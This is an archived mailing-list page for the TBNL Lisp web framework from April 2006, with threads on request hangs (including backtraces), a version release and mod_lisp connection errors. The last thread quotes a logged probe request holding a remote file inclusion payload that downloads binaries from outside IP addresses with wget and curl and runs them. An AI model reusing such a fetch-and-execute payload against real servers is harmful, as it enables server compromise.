tbnl-devel April 2006

tbnl-devel@common-lisp.net

3 participants
3 discussions

[tbnl-devel] tbnl freeze
by Steve Huffman 30 Apr '06

30 Apr '06

Hi all, I'm working on reddit.com, which uses TBNL as its web framework. For the most part, all is well, but I've been running into an error lately that is causing me to worry. Basically, the symptom of the problem is that our website appears to pause, and all requests just hang (eventually they'll timeout on the browser side). I work against our server using remote SLIME. The SLIME session does not hang, but in order to bring the website back to life I log into our web server, use attachtty to view the running lisp process, and hit ctrl + c a few times, after which a debugger will pop open in Emacs that I can abort. I'm running CMUCL 19a on a FreeBSD box. I use apache and mod_lisp in front of TBNL. I haven't been able to find out what causes this lockup, nor do I understand why I must open the process on the web server (when I'm already cruising in SLIME) to wake it up. Has anyone seen any issues like this before? Or perhaps know if this is even a TBNL issue? I've pasted the output I see from the lisp process (via attachtty) and in my emacs session (after I send an interrupt). Any help would be greatly appreciated, Steve Huffman In attachtty I'll see something like this: Interrupted at #x2811F14E. [Condition of type SIMPLE-CONDITION] Restarts: 0: [CONTINUE] Return from BREAK. 1: [DESTROY ] Destroy the process Debug (type H for help) (UNIX::SIGINT-HANDLER #<unused-arg> #<unused-arg> #.(SYSTEM:INT-SAP #x47FD789C)) Source: Error finding source: Error in function DEBUG::GET-FILE-TOP-LEVEL-FORM: Source file no longer exists: target:code/signal.lisp. 0] and in emacs I'll see something like this: Interrupted at #x2811F14E. [Condition of type SIMPLE-CONDITION] Restarts: 0: [CONTINUE] Return from BREAK. 1: [DESTROY] Destroy the process Backtrace: 0: (UNIX::SIGINT-HANDLER #<#1=unused-arg> #<#1#> #.(SYSTEM:INT-SAP #x47FD789C)) 1: (UNIX::SIGINT-HANDLER 3 #<#1=unused-arg> #<#1#> #.(SYSTEM:INT- SAP #x47FD789C))[:EXTERNAL] 2: ("Foreign function call land") 3: ("Foreign function call land") 4: ("Foreign function call land") 5: ("Foreign function call land") 6: ("Foreign function call land") 7: (LISP::FD-STREAM-READ-N-BYTES #<Stream for descriptor 8> "" 0 14 ...) 8: (LISP::FD-STREAM-READ-N-BYTES 5 #<Stream for descriptor 8> "" 0 ...)[:EXTERNAL] 9: (LISP::READ-INTO-SIMPLE-STRING "" #<Stream for descriptor 8> 0 14) 10: (READ-SEQUENCE "" #<Stream for descriptor 8> :START 0 ...) 11: ((METHOD INITIALIZE-INSTANCE (:AFTER) (TBNL::REQUEST)) (#(1 2 0 3 5 ...) . #()) #<#1=unused-arg> #<TBNL::REQUEST {49094BA5}> #<#1#>) 12: ((MAKE-INSTANCE TBNL::REQUEST :HEADERS-IN PCL::|.P0.|) (("content- stream" . #<Stream for descriptor 8>) ("content-length" . "14") ("content-type" . "application/x-www-form-urlencoded") ("remote-ip- addr" . "172.133.113.57") ("remote-ip-port" . "3332") ...)) 13: (TBNL::PROCESS-REQUEST (("content-stream" . #<Stream for descriptor 8>) ("content-length" . "14") ("content-type" . "application/x-www-form-urlencoded") ("remote-ip-addr" . "172.133.113.57") ("remote-ip-port" . "3332") ...)) 14: (TBNL::LISTEN-FOR-REQUEST #<Stream for descriptor 8> TBNL::PROCESS-REQUEST)

4 5

[tbnl-devel] New version 0.9.8
by Edi Weitz 25 Apr '06

25 Apr '06

ChangeLog: Version 0.9.8 2006-04-25 For mod_lisp, Lisp-Content-Length header must be sent after Content-Length header Download: <http://weitz.de/files/tbnl.tar.gz> Cheers, Edi.

1 0

[tbnl-devel] tbnl/mod_lisp disconnection?
by Zach Beane 24 Apr '06

24 Apr '06

Every now and then I get hit by a sudden probe of various web script vulnerabilities. The requests look like this: POST /xmlrpc/xmlrpc.php POST /blogs/xmlsrv/xmlrpc.php GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| After these things happen, the connection between mod_lisp and tbnl starts to fail with this message in the apache logs: [Wed Apr 05 08:19:50 2006] [error] (70014)End of file found: error reading from Lisp [Wed Apr 05 08:19:51 2006] [error] (70014)End of file found: error reading from Lisp Making requests to the website results in a 500 Internal Server Error. I have looked at the listener object when this happens, and it seems to have 10 workers. After a few more requests (all 500 errors), the worker count drops down, and then suddenly things start working normally again. What might be happening with the connection in this situation? Is there anything in the listener object I can inspect to discover why the mod_lisp connection is getting EOF? Zach

2 2

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

tbnl-devel April 2006